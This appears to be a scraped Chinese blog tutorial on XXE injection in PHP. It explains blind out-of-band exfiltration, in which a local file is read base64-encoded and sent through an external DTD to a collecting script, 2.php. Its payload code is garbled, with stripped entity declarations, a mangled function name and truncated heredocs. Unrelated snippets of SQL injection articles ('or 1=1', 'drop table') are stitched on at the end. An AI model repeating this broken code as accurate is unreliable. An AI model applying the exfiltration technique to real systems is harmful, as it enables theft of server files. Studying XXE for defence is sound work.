該筆記僅用於資訊防禦技術教學,請勿用於其他用途目錄
一、什麼是xxe?
二、xxe原理:
xxe=外部實體注入攻擊
建議首先詳細閱讀資料,沒有什麼問題是讀一遍資料解決不了的,如果有,那麼就多讀幾遍,直到爛熟於心:
典型攻擊如下:
<?xml version="1.0" encoding="iso-8858-1"?>
<?doctype foo[
]>
$xxe;
php中存在乙個函式:******xml_load_string() 這個函式是將xml轉化為物件
<?php
$test = ']>&test;';
$obj =******xml_load_string($test,'******xmlelement',libxml_noent);
print_r($obj);
?>
<?php
$test = ']>&test;';
$obj =******xml_load_string($test,'******xmlelement',libxml_noent);
print_r($obj);
?>
但是很多時候,後端語言解析了xml後其實並不會給你輸出,這樣我們也可以進行xxe攻擊。
我們先讀取我們想要的檔案例如:file:///users/mac/desktop/chopper.txt,為了方便傳輸,我們使用php偽協議將檔案內容base64加密讀取。
然後我們再去呼叫乙個外部的xml,比如1.xml:(">
%all;這個1.xml會被載入到原本的xml,然後我們最後來呼叫,然後你讀取出來的檔案內容會用get傳參的方式傳遞給2.php,然後2.php會記錄下來儲存到3.txt
2.php內容如下:
<?php
?>
整體**如下:
<?php
$test = <<
%remote;
%send;
]>
eof$obj = ******xml_load_string($test,'******xmlelement',libxml_noent);
?>
這個**等價於:
<?php
$test = <<
">
%all;
%send;
]>
eof$obj = ******xml_load_string($test,'******xmlelement',libxml_noent);
?>
進一步等價於:
<?php
$test = <<
%send;
]>
eof$obj = ******xml_load_string($test,'******xmlelement',libxml_noent);
?>
這樣看,是不是簡單多了呢?
注:<<%; 是 %的轉義實體。
WEB安全 SQL注入
sql注入 or 1 例如 select form table1 where name param 一般param是從頁面輸入控制項傳遞來的資料 如果你在控制項中輸入 or 1 1 那麼他將查詢所有的資料出來 表示後面的都被注釋掉了 你還可以 drop table table1 那麼他將刪除該錶,其...
web安全 sql注入
所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將 惡意的 sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,...
web安全 sql注入(一)
基於從伺服器接收到的響應 1.基於錯誤的sql注入 2.聯合查詢的型別,基於union 3.堆查詢注射,用分號連線兩個sql語句 4.sql 盲注,就是當網頁並不將執行sql語句的結果輸出,但是將sql語句執行了,這種sql注入稱為盲注,盲注分為 基於布林 sql 盲注,基於時間的 sql 盲注,基...